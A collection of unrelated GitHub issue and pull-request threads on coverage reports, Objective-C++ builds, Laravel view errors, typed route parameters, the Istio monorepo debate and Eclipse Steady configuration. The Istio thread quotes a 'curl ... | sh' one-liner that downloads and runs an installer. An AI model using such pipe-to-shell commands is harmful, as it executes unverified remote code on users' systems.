Attention: 1 lines in your changes are missing coverage. Please review.

Comparison is base (71ad0b5) 99.29% compared to head (88bece5) 98.70%.

Files
Patch %
Lines

src/constructs/quantifiers.ts
92.30%
1 Missing :warning:

Additional details and impacted files
@@            Coverage Diff             @@
##             main      #59      +/-   ##
==========================================
- Coverage   99.29%   98.70%   -0.59%
==========================================
  Files          10       10
  Lines         142      155      +13
  Branches       36       46      +10
==========================================
+ Hits          141      153      +12
- Misses          1        2       +1

:umbrella: View full report in Codecov by Sentry.
:loudspeaker: Have feedback on the report? Share it here.


Disable empty propagation if compiling as Objective-C++ to allow succ…

…essful compilation of non-copyable callables
@Naios

What was a problem?
Non-copyable lambdas failed to compile in Objective-C++.
How this PR fixes the problem?
This PR disables the bool() operator optimisation if the class is being compiled as Objective-C++.
Check lists (check x in [ ] of list items)

[ ] Additional Unit Tests were added that test the feature or regression
[x] Coding style (Clang format was applied)

Additional Comments (if any)
Not sure how to add a unit test since it would require compiling as Objective-C++.

I would prefer to improve the corresponding code in the empty bool propagation rather than making the behaviour dependent on the current build language since a change in the behaviour without explicit specification is a no-go.

I will close this as elaborated above and in #29.
Feel free to open a new PR if you found a fix for the non working operator bool detection trait in Objective+C++.


Unclear how to use IMMDevice::GetState

Summary
The function GetState on an IMMDevice is quite confusing.
The documentation says:
fn GetState(&self, pdwstate: *mut u32) -> DEVICE_STATE;

It appears that the actual result gets written to the pwdstate variable, and the returned DEVICE_STATE is zero. Is this the intended behaviour? It would be much more logical if the function took no arguments, and returned the state in the result.
Crate manifest
No response
Crate code
No response

I think this is a duplicate of https://github.com/microsoft/win32metadata/issues/1856 - looks like that was just fixed.


Fix scroll on docs site

The section for the API of the datatable component in the docs is not scrolleable and some importante content is hidden, like de component option for the rows.

This issue will be fixed with the full docs rework.

Closed by v2.0.0-alpha.0


[Launch fail] Desktop file didn't specify Exec Field

Reproduction
Installing the package and unpacking the package from snap.
Launching the app.
Misc
OS/Distro: Linux / Ubuntu

Hello, I'll try reproducing it and fixing it when I have an available Linux machine.

Reproduction
Installing the package and unpacking the package from snap. Launching the app.
Misc
OS/Distro: Linux / Ubuntu

Can you send a video?


[8.x] Make view errors shareable globally

This PR makes it possible to add errors to a view
view('post-index')
    ->withErrors(['field' => 'Some error'], 'default', true); // only the third parameter is new

where the errors are now globally available meaning that not just post-index.blade.php has access to the $errors but also parent/child views like for example the main layout resources/views/layouts/app.blade.php. Note that this global $errors have already been made available using the existing middleware ShareErrorsFromSession.
This is aligned with the way that the redirect method of same name (withErrors) makes errors globally available on the redirected request: https://github.com/laravel/framework/blob/master/src/Illuminate/Http/RedirectResponse.php#L131
Why
This is great if you would like to render errors from the default error bag as part of you main layout file
Considerations
Personally I think the default behaviour should be that any errors added via viewErrors() were made globally available no matter if called on a view or a redirect. Usually if someone would like to target some errors for a specific view it would make sense to use a named bag like:
view('post-index')
    ->withErrors(['field' => 'Some error'], 'port-index-bag'); // here I am assuming that errors are globally accepted by default

and if this is strictly not wanted, then simply set the $share = false or use the view(..)->with() method instead.
But sharing these errors globally to all views could probably be considered a breaking change - maybe not if we simply added them to any existing errors in the global error bag.
Questions for the editors:

Should the default be globally accessable?
Should errors be added (pushed) to any existing error bag or simply override any bag that already exist (current behaviour)?

No plans to change the behavior of errors, etc. at the moment.


Extended path parameter type-safety

Is there a way to make url generation for path parameters such as /blog/:postId accept only numbers (provided that postId should be a number) via typescript? Writing this kind of logic manually is super repetitive and I believe it should be possible to simplify it with code generation.

Hey @janbuchar, could you please give an example with some context of the router functions/hooks you're using?
From what I understand, the params type would always be a Record<string, string> as it's derived from the URL string. I don't know if it's useful in this case to use Number(params.param) to cast it on a type/runtime level at the places require the usage of the param as a number.
Related to that, as I'm considering supporting type-safe search params - which similar to path param, derived from the URL and location state - would be a flexible type.

A concise example would be a route such as /articles/:articleId. I would love to be able to say for instance
type PathParams {
  articleId: number
}```

somewhere in the page file and then call `useParams("/articles/:articleId")` and get `PathParams` from that.

Does this make sense?

@janbuchar that's exactly what I thought about as well. But what I'm concerned about is on the runtime level all params would be strings, so declaring a param as number would be only on the type level.
As an example:
export type Params = { id: number }

const params = useParams('/invoice/:id')
//    ^? { id: number }

typeof params.id === 'string'

I'm concerned about the potential mismatch here, please let me know what you think.
Maybe the search params can be handled differently if somehow values are decoded/encoded to preserve the types. I haven't tried something similar before.

I'm glad I'm not the only one who would consider this useful. I believe there'd have to be some runtime encoder/decoder for types like number or Date, and again, that applies to both path params and search params. Of course, plugging this into useParams would probably only be possible with code generation.

@janbuchar the problem even if we have a route-based type for params and search params, the built-in useParams and useSearchParams wouldn't follow the types on the runtime level.
I believe the codegen would only make it easier, it can start as something similar to next-typesafe-url for types and runtime validation. Let me know what you think.

I see. Yes, having runtime conversion of path or search parameters rules out using anything directly imported from react-router, tanstack/router and the like. Or, using those just forfeits the type safety added by the runtime conversion.
Having something like the package you linked is very close to what I had in mind 🙂

I love that I'm not the only one that was thinking about this. Personally, I use this snippet to address this problem, for me it's enough, but maybe for you it might become inspiration.
useParam.ts
import { useParams } from "react-router-dom"

function useParam<N extends boolean = false>(paramKey: string, numeric?: N): N extends true ? number : string {
  const params = useParams()
  const paramValue = params[paramKey]

  if (paramValue == null) {
    throw new Error(`Coundn't find param ${paramKey}. It should be declared in a route path.`)
  }
  if (numeric && isNaN(Number(paramValue))) {
    throw new Error(`Param ${paramKey} is not number.`, { cause: { paramValue } })
  }

  return paramValue as N extends true ? number : string
}

export default useParam

I use it to validate only numbers, but I guess you could spread this to Date also.


METRON-618 Eliminate Javac Warnings in metron-analytics

Cleaned up most of the warnings that come from the compiler in metron-analytics.  What's left is a couple Error Prone issues (primarily related to Charset, which has a separate ticket), and multiline annotations is tied to Java 6 (and not something we can much do about, nor am I worried about given that it still works).

For the toArgs() methods, swapped out the Utils class for Arrays.asList().  This itself is @SafeVarargs, and since we just iterate over it, out methods themselves should be fine as @SafeVarargs.
Said Utils class is deleted entirely now.
Variety of @SuppressWarnings("unchecked") added.  These are typically things derived from JSONObject or similar, because the JSON library we use only has raw types.  I tried to keep these at the minimum scope I could.
Couple of instances of code get generics applied to them appropriately, including one that was previously flagged to suppress raw types (once a couple other things that were warnings got fixed with types, that could carry through)

Tested this by spinning up quickdev and running up MaaS and the profiler and making sure output came through both of them.

+1 on inspection


reorganize the repos ?

Couple of options to get us started; more welcome:
a) move everything into a mono repo so we can share code instead of duplicate it, have a unified development experience and not spend too much time moving PRs from 1 repo to the next
b) add more repos so we can actually share code instead of duplicate code between pilot and mixer for instance (istio/core ?) and istio/generated for generated code sync and istio/build for flat build and use the "repo" tool to keep things in sync
c) [not an option IMO] no change
cc @costinm

b) is already done by test-infra and api repos. They're imported into each project.
Are we trying to address developer pains here, CI pains, or release pains?
To make local development easy, I think using local_repository from bazel is probably the simplest multi-project bazel solution. It is in accordance with standard go tooling as well with the canonical code paths.

Ideally we'd find a solution addressing most/all of our pains at once
Api repo maybe can be renamed to "core" because it seems odd to put code or utility libraries into a repo named "api" (and I think for generated it'd be best for bots keeping generated code updated to not fight with humans)
The short version is either we do a really good job at our dependency graphs and not hesitate to add more light weight repos (which would inherit shared build tooling) when a new node is needed in the graph (eg minimal mixer for testing in pilot, shared between mixer and pilot (and proxy)) or we push all code to the lowest repo which becomes mono repo
or some other creative option

As time goes on, I think we'll have more and more stuff we want to share between Pilot, Mixer, CA, and Broker. We definitely need a spot to share utility libraries across the project. Additionally, we want to be able to have a unified tooling experience (linters, etc). And finally, as we put together a perf testing/tracking framework, we'll want to share that between components.
I'm not seeing the inherent value we're getting out of having distinct repos at this point. It seems to be mostly introducing pain and providing very little upside. I would be in favor of consolidating into a single repo for most of our code with different subdirectories for each major component.

A single monolithic repository of sharing code among istio components would be great for us -- "us" meaning istio devs. I'm wondering if this can affect the workflow of istio users (operators).
I mean, istio operators need the yaml files in install/kubernetes in istio/istio repository for setting up istio in their cluster. It is unclear to me where do those files go; in the same repository (so operators need the large repository for setting up istio), or do we keep istio/istio repository for the setup? (or do we make a different non-git-repository location for the official setup files?) This might also affect the e2e code structure.

@jmuk the yaml files are part of the release artefacts (for instance in https://github.com/istio/istio/releases/download/0.2.6/istio-0.2.6-osx.tar.gz or what curl -L https://git.io/getLatestIstio | sh - automatically downloads),
operators don't need to git clone the source tree so it shouldn't be a concern either way here

okay, thanks for the clarification.

if we can keep a single repo, can we still make individual release for different components, say pilot, mixer
If so, I support single repo.

the source code being in one place doesn't preclude from making different artefact under different schedules if one desires so. I think it's already hard enough to make 1 unified release and would be premature to decouple the components at this point though (but that's a somewhat different topic)

component based release does not have to do it now, but probably a 2018 goal.
as long as it is doable, then it is fine.
Laurent: could you discuss this one repo proposal in tomorrow's working group meeting?

Please give comments in this doc:  https://goo.gl/eLq2uS

https://github.com/kubernetes/kubernetes/issues/24343 lists reasons Kubernetes started to move away from a monorepo.

@ayj that's a great thread. I think mono-repo is a crude tool to solve some of our problems, that may also introduce other issues down the road. Perhaps, we should focus the discussion on what's exactly painful and try to address them in the specific contexts.

Does this problem only happen for pilot and mixer or there are other places?

This discussion has come up on every project I've worked on. Unfortunately, I think both methods have plenty of issues. The only thing I'll put in is that switching from one to the other is painful, and the grass is always greener on the other side.

Is discussion happening on this issue or https://goo.gl/eLq2uS?
How will a decision be reached and communicated?

Please also check:
https://docs.google.com/document/d/1u8kn6_R6oScmj498kETFj0g0f3Qld2vq7xYi0E2DgJI/edit#
Note that the 2 POCs are pretty basic - and include various other
experiments (better IDE support,
faster initial builds, etc), and are quite incomplete - for example the
single-project proxy only replaces
SHAs with 'local' for a couple of critical deps.
I think most important is to gather feedback and votes from the community -
since the main purpose is to improve
developer experience and productivity.
Costin
On Mon, Oct 9, 2017 at 7:05 AM, Etai Lev Ran<EMAIL_ADDRESS>wrote:

Is discussion happening on this issue or https://goo.gl/eLq2uS?
How will a decision be reached and communicated?
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
https://github.com/istio/istio/issues/998#issuecomment-335167681, or mute
the thread
https://github.com/notifications/unsubscribe-auth/AAFI6mJMrirEgbD7Tk3mF-2_eVGThuEcks5sqid9gaJpZM4PpZDF
.

Please also check: https://goo.gl/pzCCf4. There are a lot of improvement we can make with the current state of things. @costinm we should consolidate, or better split depending on which objective we want to accomplish.

hi folks - it may be a bit orthogonal to your thinking here, but at least some of what you're grappling with here may be addressed by introducing first-class language-level dependency management via https://github.com/golang/dep. if that's something y'all want to look into, i'm happy to answer questions or provide guidance, as needed.

It's not orthogonal - how we organize dependencies is a major issue. We do
have (experimental) dep in Istio pilot -
unfortunately mixer is trickier, dep can't seem to resolve.
The real issue is that Istio doesn't check in generated artifacts, and dep
has no option to skip/ignore missing deps.
In pilot we 'hack' it by having a separate git with generate artifacts (but
it's not yet automated). If we could get the
same thing for mixer, dep would be a viable solution for managing all go
dependencies in Istio.
Another issue is that dep doesn't appear to have an 'exclude' list, so
projects already in gopath are not added to
vendor (but workaround is easy).
On Sun, Oct 15, 2017 at 10:48 PM, sam boyer<EMAIL_ADDRESS>wrote:

hi folks - it may be a bit orthogonal to your thinking here, but at least
some of what you're grappling with here may be addressed by introducing
first-class language-level dependency management via
https://github.com/golang/dep. if that's something y'all want to look
into, i'm happy to answer questions or provide guidance, as needed.
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
https://github.com/istio/istio/issues/998#issuecomment-336786457, or mute
the thread
https://github.com/notifications/unsubscribe-auth/AAFI6oUEdxWC87jihKv_uGJ7PwuGWBvWks5ssu4UgaJpZM4PpZDF
.

Istio doesn't check in generated artifacts

generated artifacts, e.g., generated Go code, right? if so, yeah, that can definitely be a pain point. this was a calculated risk that we took in the design, based on guidance from the original blog post on go generate. however, there are some workarounds - golang/dep#1077 has more info and discussion.

dep has no option to skip/ignore missing deps.

yeah, it can't adaptively do this - dep's entire model is based around the idea of keeping things in sync. however...

Another issue is that dep doesn't appear to have an 'exclude' list, so projects already in gopath are not added to vendor

have you checked out the ignored list, perhaps?
but yes, in general, dep is not designed for splitting responsibility between GOPATH and vendor. this can be painful for projects that have a cluster of repos folks are working on simultaneously, which i imagine may be the case for istio. i have some ideas about how to do it in the long term, once we're in the toolchain, as well as some possibilities for the medium term. the medium term stuff will have to wait until after golang/dep#121, though - though that's on a pretty near horizon, now.

This is done - thanks @mandarjog
Still left :

[ ] the  api->mixerclient->proxy->istio chain
[ ] istio.io website

I'm going to close this one and leave the 2 open issues for later


Getting the following error while trying to run steady on steady-cli

Describe the bug
This problem occurs when I run steady on steady-cli.
I didn't find steady-cli-3.2.3, so I used steady-cli-3.2.0
the command ‘java -jar steady-cli-3.2.0-jar-with-dependencies.jar -goal app’
the error
[main] [ERROR] e.steady.shared.util.StopWatch - [287797] [00.059 ms] Failed: Application context is required to execute goal [APP] Exception in thread "main" org.eclipse.steady.goals.GoalConfigurationException: Application context is required to execute goal [APP]
at org.eclipse.steady.goals.AbstractAppGoal.prepareExecution(AbstractAppGoal.java:107)
at org.eclipse.steady.goals.BomGoal.prepareExecution(BomGoal.java:57)
at org.eclipse.steady.goals.AbstractGoal.start(AbstractGoal.java:418)
at org.eclipse.steady.goals.AbstractGoal.execute(AbstractGoal.java:253)
at org.eclipse.steady.goals.AbstractGoal.executeSync(AbstractGoal.java:247)
at org.eclipse.steady.cli.VulasCli.main(VulasCli.java:99)
steady-custom.properties file
I have edit the ,  and  of the application to be analyzed and my workspace token

steady-cli folder
The application code (java, class or JAR files) and all application dependencies (JAR files) In the app folder

I have read the Java source code, but still can't find the problem and how to fix it.
Can you please teach me how to solve this problem，thank you！

Hello @11111821,
the exception you encountered is due to the values you provided in the configuration file for
vulas.core.appContext.group =
vulas.core.appContext.artifact =
vulas.core.appContext.version =

If you used the values shown in the screenshot <group>, <artifact> and <version>, those are invalid due to the presence of < and >. Those configurations are meant to contain the identifier of the application and resembles the Maven coordinates. An example of valid values are
vulas.core.appContext.group = com.example
vulas.core.appContext.artifact = sampleapp
vulas.core.appContext.version = 0.0.1

Moreover the configuration vulas.core.app.appPrefixes is meant to contain the package prefix of the application (i.e, the Java package under which all application classes are defined). In fact, the app folder contains both application and dependency code and the prefix provided in this configuration is used to discriminate the two. As mentioned in the documentation, the application classes are then used as entrypoints for the Maven goal a2c offered by the steady maven plugin.
Of course vulas.core.space.token must also be set with a token generated from the web frontend-app as described at https://eclipse.github.io/steady/user/tutorials/java_cli/#prerequisites
I now added the latest version of the steady-cli in the Github 3.2.3 release but the issues you encountered are not due to the cli version. I would anyway recommend to use the latest version.
Thank you!

Hi, thank you so much for your help, I can run steady-cli normally, but I still have some questions about vulas.core.app.appPrefixes, could you please give me an example, such as the project of spring-boot-demo, could you check how the vulas.core.app.appPrefixes of this project should be configured, thank you very much!

Hi @11111821,
the configuration vulas.core.app.appPrefixes should contain the common prefix of the Java package used by all modules (quite a number!). I went through the first 4 modules demo-activiti, demo-actuator, demo-admin, demo-async and from those I would use
vulas.core.app.appPrefixes = com.xkcoding

Please check that the same packaging com.xkcoding is used for all demo-* modules in  https://github.com/xkcoding/spring-boot-demo. Also, it should not be a package used in any of the application dependencies or they would be treated as application code. If it is used in the dependencies, then it would be necessary to have more specific appPrefixes like
vulas.core.app.appPrefixes = com.xkcoding.activiti, com.xkcoding.actuator,...

picking the Java package for all modules demo-*

Hi @serenaponta
Thank you very much for your help. I succeeded. Thank you！


node is error not syncing

Describe the bug
When I run the new Hekla testnet, I encounter this error every time I synchronize to the latest block:
always not found.
Restarting the node allows synchronization to the latest block before the error occurs again, and then the blocks no longer update, but transactions keep accumulating everything was running smoothly with previous node and blocks were being produced, but with Hekla, this error cant make. i hope you post this on
Steps to reproduce
Steps to reproduce here.
Spam policy

[X] I verify that this issue is NOT SPAM and understand SPAM issues will be closed and reported to GitHub, resulting in ACCOUNT TERMINATION.

@lizyld please provide screenshots/logs

closing as stale, please reopen if there are still issues @lizyld